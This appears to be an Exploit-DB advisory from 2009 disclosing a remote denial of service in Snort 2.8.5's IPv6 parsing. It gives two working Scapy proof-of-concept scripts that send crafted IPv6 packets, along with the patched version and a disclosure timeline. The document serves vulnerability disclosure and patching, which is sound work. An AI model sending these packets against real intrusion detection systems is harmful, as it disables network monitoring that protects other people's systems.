Snort 2.8.5 - IPv6 Denial of Service

EDB-ID:

9969


Platform:

Multiple

Published:

2009-10-23

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- Date: October 22th, 2009
- Discovered by: Laurent Gaffi�
- Severity: Low
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I. VULNERABILITY
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Snort <= 2.8.5 IPV6 Remote DoS


II. DESCRIPTION
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A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6
crafted packet
To trigger theses bugs you need to have compiled snort with the
--enable-ipv6 option, and run it in verbose mode (-v)

III. PROOF OF CONCEPT
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You can reproduce theses two differents bugs easily by using the Python
low-level networking lib Scapy
(http://www.secdev.org/projects/scapy/files/scapy-latest.zip)

1) #only works on x86

#/usr/bin/env python
from scapy.all import *
u = "\x92"+"\x02" * 6
send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP

2) # works x86,x64

#/usr/bin/env python
from scapy.all import *

z = "Q" * 30
send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 ->
icmp (not v6)


IV. SYSTEMS AFFECTED
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Theses proof of concept as been tested on snort:
- 2.8.5

V. NOT AFFECTED
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Sourcefire 3D Sensor


VI. SOLUTION
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A new version correcting theses issues as been released (2.8.5.1) :

http://www.snort.org/downloads


VII. REFERENCES
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http://www.snort.org/
http://vrt-sourcefire.blogspot.com/

VIII. REVISION HISTORY
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October 14th, 2009: First issue discovered, advisory send to snort team.
October 14th, 2009: Snort security team confirm the bug.
October 16th, 2009: Second issue discovered, advisory send to snort team.
October 20th, 2009: Snort security team confirm the bug.
October 22th, 2009: Snort team released a new version.


IX. CREDITS
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This vulnerability has been discovered by Laurent Gaffi&#65533;
Laurent.gaffie{remove-this}(at)gmail.com